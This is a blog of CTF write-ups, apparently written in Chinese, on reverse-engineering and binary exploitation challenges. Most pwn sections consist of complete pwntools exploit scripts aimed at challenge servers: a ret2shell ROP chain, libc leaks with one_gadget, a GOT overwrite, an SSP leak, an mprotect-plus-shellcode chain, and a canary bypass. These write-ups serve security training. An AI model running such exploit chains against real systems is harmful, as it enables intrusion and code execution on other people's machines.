分类 CTF 下的文章

题解

REVERSE

unpackme

rc4同学拿到了一个奇怪的可执行文件,你能帮帮他吗?

题目给出了一个可执行文件packed,执行后输出do you know upx?。容易判断这个程序用upx压缩了,尝试利用upx进行解压缩。

upx -d packed

解压缩成功,之后用ida打开进行分析。定位到main函数,程序首先检测了自身是否含有UPX!,如果没有发现,那么从stdin读取flag,并解密程序内使用rc4密码加密的flag,两者strcmp做比较。

这样我们只需要在gdb中在strcmp处加一个断点,然后运行,随便输入一些内容,然后在断点处就可以看到flag内容了。

pwndbg> p pData
$2 = "flag{oh you know upx and rc4!}", '\000' <repeats 481 times>

PWN

qiandao-pwn

nc everything411.top 10014

pwn签到题,main函数中是一个简单粗暴的gets溢出,然后有一个sh函数,如果其参数为字符串meow则调用system("/bin/sh")。简单的ret2shell,考察ROP的基础知识。

那么可以考虑把strcmp第二个参数的地址传递给sh,构造strcmp("meow", "meow"),由于是64位,第一个参数由rdi传递,需要找一下控制rdi的gadget。

ROPgadget --binary qiandao --only "pop|ret"

payload为 "a" * 256 + fakerbp + pop_rdi_ret_addr + meow_addr + sh_addr

from pwn import *

# io = process("./qiandao")
io = remote("everything411.top", 10014)
pop_rdi_ret = 0x401263
meow_addr = 0x402004
sh_addr = 0x401156
io.sendline(b"a"*0x100 + p64(0) + p64(pop_rdi_ret) + p64(meow_addr) + p64(sh_addr))
io.interactive()

qiandao2

nc everything411.top 10015

do you know one_gadget?

本题难度仍不大,某种意义上也是签到题,考察libc中函数地址的泄露。这道题溢出点和上一道类似,但是程序中没有system和exec系列的函数,因此需要获取libc地址来调用。

由于ASLR开启,每次程序启动libc会加载到随机的地址,但是libc中函数相对基址的偏移不会变,函数地址的低12位也不会变。在函数完成第一次调用后,函数的真实地址保存在程序的GOT中,因此读取GOT中的函数真实地址,然后从给出的libc文件获取函数相对基址的偏移,从而计算libc加载的基址,进而接合函数偏移可以获得任意函数的真实地址。

libcbase = func1_real_addr - func1_offset
func2_real_addr = libcbase + func2_offset

其中func1_real_addr从GOT中泄露,而两个offset从下载的libc文件中获取。

在获取到libc基址后,就可以在ROP链中使用libc中的函数和gadgets了。libc代码量很大,如果题目可执行文件中缺少某一功能的gadgets,可以考虑在libc中去寻找,此外libc中还有特殊的gadgets被称为one_gadget,跳转到这些gadgets时,如果程序的状态能满足一定的约束条件时,可以只利用一个one_gedget,一次性的获取到shell。另外libc中也有/bin/sh的字符串可供使用。

对于本题来说,可以用puts去输出GOT中函数地址,然后返回到main中重新溢出,调用one_gadget。

from pwn import *

# io = process("./qiandao2")
# context.log_level='debug'
io = remote("everything411.top", 10015)
libc = ELF("./x64_libc.so.6")
elf = ELF("./qiandao2")
setbuf_offset = libc.symbols["setbuf"]
setbuf_got = elf.got["setbuf"]
puts_plt = elf.plt["puts"]
main_addr = elf.symbols["main"]
one_gadget_addr = 0x45226
fakerbp = 0
pop_rdi_ret = 0x401233
io.sendline(b"a"*0x100 + p64(fakerbp) + p64(pop_rdi_ret) +
            p64(setbuf_got) + p64(puts_plt) + p64(main_addr))
a = io.recv()
setbuf_addr = u64(a[0:6] + b"\x00\x00")
io.sendline(b"a"*0x108 + p64(setbuf_addr - setbuf_offset + one_gadget_addr))
io.interactive()

let's overwrite

nc everything411.top 10098

服务器上的可执行文件除了flag文本的本身内容不同以外,其他都完全相同

tips: stderr is available, beware of the output. no need to get a shell.

这道题是典型的SSP Leak,在检测到canary被覆盖后libc会输出一段文字,其中会输出程序自己的名称 argv[0],如果把argv[0]覆盖成想要输出的地址,就可以通过这个机制泄露信息。采用较高版本的libc的系统在这种情况下不会输出 argv[0],所以在本地很可能无法复现SSP Leak。

本题考虑泄露main函数本体的汇编,其中是包含了flag的信息的。

from pwn import *

# io = process("./ssp")
# context.log_level='debug'
io = remote("everything411.top", 10098)

flag_addr = 0x4011b9

io.sendline(b"a" * (0x110) + p64(flag_addr) * 30)
io.interactive()

C-programming-homework

nc everything411.top 10013

类型转换的魔法

本题难度中等,主要考察对PLT, GOT等结构的了解和代码审计的能力。整体思路为将栈顶p改为负数,然后从bss越界向上读写GOT,泄露libc并将system地址覆盖到GOT中,将函数替换为system。

本题给出了源代码,其中的注释实际上作为题目Hint,需要重点关注。其中p为int类型,而setpointer功能中,s为long long类型,且只检测了s不能小于0。因此如果将s设为0xffffffff,则s>0成立,而在s赋给p的过程中,s被截断为32位,则0xffffffff则对应了32位下的-1。这样就可以把p设置成负数了。

之后执行pop功能,直到p指向GOT,泄露getchar,然后计算system的地址,将其覆盖到strcmp的GOT上,此时下一次调用strcmp即为调用system。

from pwn import *

# io = process("./homework")
io = remote("everything411.top",10013)
libc = ELF("x64_libc.so.6")
io.sendline("setpointer")
io.sendline("ffffffff")
for i in range(19):
    io.sendline("pop")
    addr = io.recv().decode()
    addr = int(addr, 16)
libcbase = addr - libc.symbols["getchar"]
binsh = libcbase + next(libc.search(b"/bin/sh"))
system = libcbase + libc.symbols["system"]
print('%#x %#x' % (libcbase, binsh))
io.sendline("pop")
io.sendline("push")
io.sendline("%x"%system)
io.sendline("/bin/sh")
io.interactive()
io.close()

rot13

nc everything411.top 10016

this binary is so small!

本题实际上是某比赛中的一道WEB题目搬运+改编而来,原题是通过一个flask的网页和rot13程序进行交互,只能输入和输出各一次。而本题则是与rot13进行直接交互,没有输入输出的限制,而下面的rot13-hard则为对原题的情景进行复现,只能进行输入输出各一次。

这道题的解法仍然是泄露libc,计算偏移,然后返回溢出函数重新溢出,调用one_gadget或者调用system("/bin/sh")。泄露libc需要构造ROP链,调用write。但是在rot13程序中无法找到能用来控制rdi,rsi等寄存器的pop; ret;形式的gadgets。注意到mov指令同样可以用来改变寄存器的值,那么可以找到下面的gadgets,能够控制edi/rsi。

0x0000000000400426: mov edi, dword ptr [rsp + 8]; mov rsi, qword ptr [rsp + 0x10]; ret; 
0x000000000040042b: mov esi, dword ptr [rsp + 0x10]; ret; 
0x0000000000400425: mov rdi, qword ptr [rsp + 8]; mov rsi, qword ptr [rsp + 0x10]; ret; 
0x000000000040042a: mov rsi, qword ptr [rsp + 0x10]; ret; 

同时通过调试我们又可以发现在溢出时,上一个函数调用恰好为write,这使得此时rdi的值恰好为1(即stdout),而rdx的值为我们输入的payload的长度,那么我们只需要修改rsi的值为要泄露的地址,因此可以直接选择0x40042a处的gadgets,把泄露的地址放在rsp+0x10处,然后前面16字节放置write和其返回地址。

重新进入溢出函数后,进行常规的溢出调用one_gadget或者调用system("/bin/sh")即可获得shell。

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
# sh = remote("47.94.252.112", 11000)
sh = remote("everything411.top", 10016)
rot13 = ELF("./rot13")
libc_elf = ELF("./x64_libc.so.6")
mov_rsi_ret = 0x40042a
vul_func_addr = 0x400481
read_plt = rot13.plt["read"]
write_plt = rot13.plt["write"]


def leak(address):
    payload = b"A" * 0x40 + p64(0) + p64(mov_rsi_ret) + p64(write_plt) + p64(vul_func_addr) + p64(address)
    #                                                   rsp              rsp + 0x8            rsp + 0x10
    plen = len(payload)
    sh.send(payload)
    sh.recv(plen)
    leakdata = sh.recv()
    addr = u64(leakdata[0:8])
    print("leak addr %#x" % addr)
    return addr


alarm_got = rot13.got["alarm"]
alarm_addr = leak(alarm_got)

libcbase = alarm_addr - libc_elf.symbols["alarm"]
print("libcbase %#x" % libcbase)

system_addr = libcbase + libc_elf.symbols["system"]
binsh_addr = libcbase + next(libc_elf.search(b"/bin/sh"))
rdi_addr = libcbase + 0x21112
one_gadget = libcbase + 0x45226

payload = b"A" * 0x40 + p64(0) + p64(one_gadget)
# payload = b"A" * 0x40 + p64(0) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)

sh.sendline(payload)
sh.interactive()

rot13-hard

nc everything411.top 10099

rot13现在运行在一个wrapper之下,wrapper只允许与rot13进行一次输入和一次输出。本题仍然是rot13的栈溢出漏洞,wrapper的作用仅仅是限制输入输出次数。

syscall is always your friend, but he hides somewhere in the memory

Hint

mprotect syscall
rax=0xa

syscall in alarm@libc

read(0, addr, 0xa)
return rax=0xa

input 0x20a =
read(0, addr, 0x100) +
read(0, addr, 0x100) +
read(0, addr, 0xa)

本题是pwn的防ak题,运用的知识本次集训几乎都有涉及,但是综合性非常强,难度大,需要将多种利用技巧组合使用。

由于本题限制,无法获取shell,只能一次性将payload构造完毕并发送,然后在唯一一次的输出机会中将flag输出出来,同时这也使得之前的泄露libc的方法不再可行,但是plt中既没有exec,也没有open,那么只能考虑利用shellcode来执行代码。shellcode需要放到一个固定的可写的内存位置,IDA中看不到.bss.data,不过仍然可以在gdb利用vmmap命令找到DATA段的位置位于0x601000-0x602000。因为开启了NX保护,所以需要调用mprotect系统调用来改变写入shellcode的内存页的属性。题中alarm函数是系统调用,那么在libc中alarm的函数体内一定有syscall指令,在IDA中查看可以得到syscall指令位于alarm+5处(偏移0xCC285),因为ALSR时函数地址低12位不变,所以我们只要把got中的alarm地址的最低字节由\x80覆盖为\x85即可,此时调用alarm相当于调用syscall指令。mprotect的系统调用号为10,在syscall时需要将rax的值置为10,而read系统调用的返回值为读取的字节数,储存在rax中,所以可以利用read(0, addr, 10)来同时达到覆盖got并控制rax的效果。

#!/usr/bin/env python3
from pwn import *

# context.log_level = 'debug'
context.arch = "amd64"
# sh = remote("47.94.252.112", 11000)
sh = remote("everything411.top", 10099)
# sh = remote("everything411.top", 10016)
# sh = process("./rot13")
rot13 = ELF("./rot13")
read_plt = rot13.plt["read"]
write_plt = rot13.plt["write"]
alarm_plt = rot13.plt["alarm"]
alarm_got = rot13.got["alarm"]
data_addr = 0x601000
shellcode_addr = data_addr + 0x100  # 避开.plt.got
mov_rdi_rsp0x8_rsi_rsp0x10_ret = 0x400425
mov_rsi_rsp0x10_ret = 0x40042A
pop_rdx_rbp_ret = 0x40047e
pop_rbp_ret = 0x40047f
leave_ret = 0x4004b6

shellcode = asm(shellcraft.execve("/bin/cat", ("cat","flag")))

payload = b"A" * 0x40 + p64(0xdeadbeef)
payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(0) + p64(shellcode_addr) 
# mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0; rsi = 0x601100;
# pop_rdx_rbp_ret -> rdx = 0; rbp = 0x601100; 本条指令仅用于清栈,将rsp指向下一个gadget地址

payload += p64(pop_rdx_rbp_ret) + p64(len(shellcode)) + p64(0xdeadbeef) + p64(read_plt)
# pop_rdx_rbp_ret -> rdx = len(shellcode); rbp = 0xdeadbeef;
# read_plt -> read(rdi=0, rsi=0x601100, rdx=len(shellcode)) 读取shellcode到0x601100

payload += p64(mov_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(10) + p64(alarm_got - 9) + p64(read_plt)
# mov_rsi_rsp0x10_ret -> rsi = alarm_got - 9;
# pop_rdx_rbp_ret -> rdx = 10; rbp = alarm_got - 9; 控制rdx,并清栈
# read_plt -> read(rdi=0, rsi=alarm_got-9, rdx=10) 覆盖alarm_got最低字节,并控制rax=10

payload += p64(mov_rdi_rsp0x8_rsi_rsp0x10_ret) + p64(pop_rdx_rbp_ret) + p64(data_addr) + p64(0x1000)
# mov_rdi_rsp0x8_rsi_rsp0x10_ret -> rdi = 0x601000; rsi = 0x1000;
# pop_rdx_rbp_ret -> rdx = 0x601000; rbp = 0x1000; 本条指令仅用于清栈,将rsp指向下一个gadget地址

payload += p64(pop_rdx_rbp_ret) + p64(7) + p64(0xdeadbeef) + p64(alarm_plt) + p64(shellcode_addr)
# pop_rdx_rbp_ret -> rdx = 7(RWX); rbp = 0xdeadbeef;
# alarm_plt -> syscall(rax=10, rdi=0x601000, rsi=0x1000, rdx=7) call mprotect
# shellcode_addr -> 调用shellcode

payload = payload.ljust(0x100) # payload调整为成0x100字节,ROP中的read将从第0x101字节开始读取
payload += shellcode # ROP第一个read,读取shellcode
payload += b"A" * 9 + b"\x85" # ROP第二个read

sh.send(payload)
sh.recv(0x100)
print(sh.recvall().decode())
sh.close()

RE

Obfu

题目给出了一个被加密的文件,和对应的加密程序,64位ELF文件,丢进IDA。可以发现,在main中先调用了sub_0函数,然后依次调用这些sub_函数,而encode1函数也被其中一个sub_函数调用。这些函数应当为第一个加密方法,然后分析encode2,在该函数里首先根据当前时间生成了一个key,然后使用这个key对sub_加密的密文使用TEA加密。TEA加密可以很容易的写出对应的解密代码,时间生成的密钥可以考虑从当前时间开始向过去爆破。而sub_*函数由于有10000个,因此我考虑直接跑一下,对已知文本进行加密观察一下密文。这里可以使用IDA的patch功能,把encode2调用跳过,这样就能观察到第一步的密文了。
多次尝试各种文本容易发现,这个加密方法会将一个字符变换成固定的另一个字符,只和字符本身的值有关,而与字符所处位置和字符的前后字符无关。这样就很容易想到要对ASCII字符集全都加密一次,然后就可以得到明文与密文的对应关系了。

#include <stdio.h>
#include <string.h>
#include <time.h>
int table[256];
void DecryptTEA(unsigned int *firstChunk, unsigned int *secondChunk, unsigned int *key)
{
    unsigned int sum = 0;
    unsigned int y = *firstChunk;
    unsigned int z = *secondChunk;
    unsigned int delta = -0x21524111;
    sum = delta << 4;
    for (int i = 0; i < 16; i++) 
    {
        z -= (y << 3) + key[2] ^ y + sum ^ (y >> 6) + key[3];
        y -= (z << 3) + key[0] ^ z + sum ^ (z >> 6) + key[1];
        sum -= delta;
    }
    *firstChunk = y;
    *secondChunk = z;
}
void DecryptBuffer(char *buffer, int size, unsigned int *key)
{
    char *p = buffer;
    int leftSize = size;
    while (p < buffer + size &&
           leftSize >= sizeof(unsigned int) * 2)
    {
        DecryptTEA((unsigned int *)p, (unsigned int *)(p + sizeof(unsigned int)), key);
        p += sizeof(unsigned int) * 2;
        leftSize -= sizeof(unsigned int) * 2;
    }
}

int decrypt2(unsigned char *enc)
{
    for (int i = 0; i < 32; i++)
    {
        if (table[enc[i]])
        {
            enc[i] = table[enc[i]];
        }
        else
        {
            return 0;
        }
    }
    puts(enc);
    return 1;
}
int bruteforce(unsigned int b, char *enc)
{
    char e[64] = {0};
    unsigned int key[4] = {0};
    int v3 = 0;
    int v2 = b ^ 0xDEADBEEF;
    strcpy(e, enc);
    for (int i = 0; i <= 3; ++i)
    {
        for (int j = 0; j <= 31; ++j)
            v3 ^= (v2 >> j) & 1;
        v2 = v3 | 2 * v2;
        *(key + i) = v2;
    }
    DecryptBuffer(e, 32, key);
    return decrypt2(e);
}
int main(int argc, char const *argv[])
{
    for (int i = 0; i < 3; i++)
    {
        char plain[20];
        char secret[20];

        sprintf(plain, "flag.txt.%d", i);
        sprintf(secret, "output.enc.%d", i);

        FILE *fpplain = fopen(plain, "rb");
        FILE *fpsecret = fopen(secret, "rb");
        for (int j = 0; j < 32; j++)
        {
            table[getc(fpsecret)] = getc(fpplain);
        }
        fclose(fpplain);
        fclose(fpsecret);
    }

    FILE *fp;
    unsigned char ss[64] = {0};
    fp = fopen("output_enc", "rb");
    fgets(ss, 64, fp);
    time_t t = time(NULL);
    while (!bruteforce(t, ss))
    {
        t--;
    }
    fclose(fp);
    return 0;
}

PWN

snipping

一道blind pwn题目。
程序首先提问输入数字的数量,尝试后可得数量不能超过100,可以猜想buffer长约为100个int。当输入的数字为-1时停止输入,然后输出这些数字。可以发现当输入的数量是负数时程序会一直处于输入状态,不会受到100的限制,直到输入-1停下来。不过在这时候程序不会输出这些数字,不能通过这个来泄露内存。
在尝试时发现,当数量输入100,然后直接输入-1时打印的变量中除了0意外还有可疑的数字543516756, 1868785011, 1814062190, 1818588773, 980642080, 808745008, 1630691632 我们把它转换成字符。

#include <stdio.h>
int main(int argc, char const *argv[])
{
    int s[] = {543516756, 1868785011, 1814062190, 1818588773, 980642080, 808745008, 1630691632, 0};
    puts(s);
    return 0;
}

可得提示信息The second level is:0x400a2a。此处应为作者给出的一个提示,应该时在0x400a2a出为level2,我们应该去构造ROP调用它。不过这里我被canary卡住了,所以我开始尝试了SSP Leak,发现SSP Leak其实是可行的,argv的位置位于buffer后81*8字节处,使用下面的exp就可以泄露任意内存地址。这里我便从出题人提示的0x400a2a开始泄露,试图dump这个函数进行分析。因为每次泄露都要重连,而且只能泄露数个字节,所以跑的会比较慢。在程序跑了一段时间后我意外地发现泄露的内容中出现了flag片段,将散落的flag片段拼接在一起就得到了flag。那么应该是flag是被作者写到某个函数里,程序运行时把flag赋值到某个变量,这样代码段里就有了散落的flag文本了。这个应该是一个非预期的解法。

from pwn import *
# The second level is:0x400a2a

def leak(addr):
    addr1 = addr & 0xffffffff
    addr2 = addr >> 32
    io = remote("101.200.240.241", 7003)
    io.sendlineafter("integer?\n", "-1")
    for i in range(82):
        io.sendlineafter("> Read note[%d] :" % (i * 2 + 1), "%d" % addr1)
        io.sendlineafter("> Read note[%d] :" % (i * 2 + 2), "%d" % addr2)
    io.sendlineafter("] : ", "-1")
    io.recvuntil("***: ")
    i = io.recv()[:-12]
    io.close()
    return i

# print(leak(0x400a2a + 220)) # flag segments here

# flag{Y0u_@r3_@_v3ry_90od_snIp3r}

后来这题向大佬请教得知本题canary绕过是利用scanf函数输入数字时,若只输入+那么这次输入会被跳过而不发生赋值也不会卡住,所以在canary位置上输入+就不会覆盖canary,那么可以就把level2的地址写到返回地址处调用level2了。下面是对应的exp。

from pwn import *
import binascii
# The second level is:0x400a2a

io = remote("101.200.240.241", 7003)
io.sendlineafter("integer?\n", "-1")
for i in range(52):
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 1), '+')
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 2), '+')
for i in range(52, 60):
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 1), '%d' % 0x400a2a)
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 2), '0')
io.sendlineafter(" > Read note[121] :", "-1")
s = b''
for i in range(-20, 0)[::-1]:
    io.sendlineafter("[Q] Which page do you want to memory??\n> ", "%d" % i)
    h = int(io.recvuntil('\n').decode())
    if h < 0:
        h = 0x100000000 + h
    s += binascii.unhexlify('%08x' % h)
print(s[::-1])
    
io.close()

easy_overflow

菜鸡出题人在线挨打.jpg
在这次比赛一堆毒瘤blind pwn里个人感觉还算是比较简单的一道题目。
首先checksec,可以发现为64位,各种保护都拉满了,直接丢到IDA里。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

很容易发现调用flag()函数即可getshell,而关键的程序逻辑在do_reply()函数中:

unsigned __int64 do_reply()
{
  int v0; // eax
  int v1; // ST0C_4
  char s; // [rsp+10h] [rbp-110h]
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  write(1, "say something~\n", 0xFuLL);
  read(0, &recvbuf, 0xFFuLL);
  v0 = snprintf(&s, 0x100uLL, "You say: %s, now say it again please~", &recvbuf);
  write(1, &s, v0);
  v1 = read(0, &s, 0x200uLL);
  write(1, &s, v1);
  return __readfsqword(0x28u) ^ v4;
}

程序先向recvbuf读入了0xFF字节,然后用snprintf进行格式化到栈变量s中,限定buffer长度0x100,之后根据snprintf的返回值进行write输出,之后再向s读入0x200字节并输出。显然溢出点是在s处,s本身长0x100却读入了0x200产生了栈溢出。
但是由于canary的存在,如果只利用这处溢出无法达到目的,同时由于PIE打开,flag函数的地址也无从得知,我们需要泄露内存信息。
回过来看上面的逻辑,第一次输出的长度为snprintf的返回值,似乎并无泄露信息的漏洞,真的如此吗?我们来看一下man手册。在RETURN VALUE小节我们可以看到这样的描述:

If the output was truncated due to this limit, then the return value is the number of characters (excluding the terminating null byte) which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated. (See also below under NOTES.)

也就是说,snprintf的返回值实际是截断前的长度,那么只要第一次读入字节使snprintf截断,那么输出的时候就会把buffer后面的栈内存泄露出来,那么我们可以打印出canary和函数返回地址,这个地址应当在main中,与flag函数的偏移已知,我们就可以构造rop了。

from pwn import *
# context.log_level = 'debug'
io = process("./a.out")

io.sendafter("say something~\n", "a" * 0xff)
leak = io.recv()[0x108:]
canary = u64(leak[0:8])
main = u64(leak[16:24])
print("canary is %#x main is %#x" % (canary, main))
io.send(b"a" * 0x108 + p64(canary) +
        p64(main - (0x12ff-0x1185)) * 4)
io.interactive()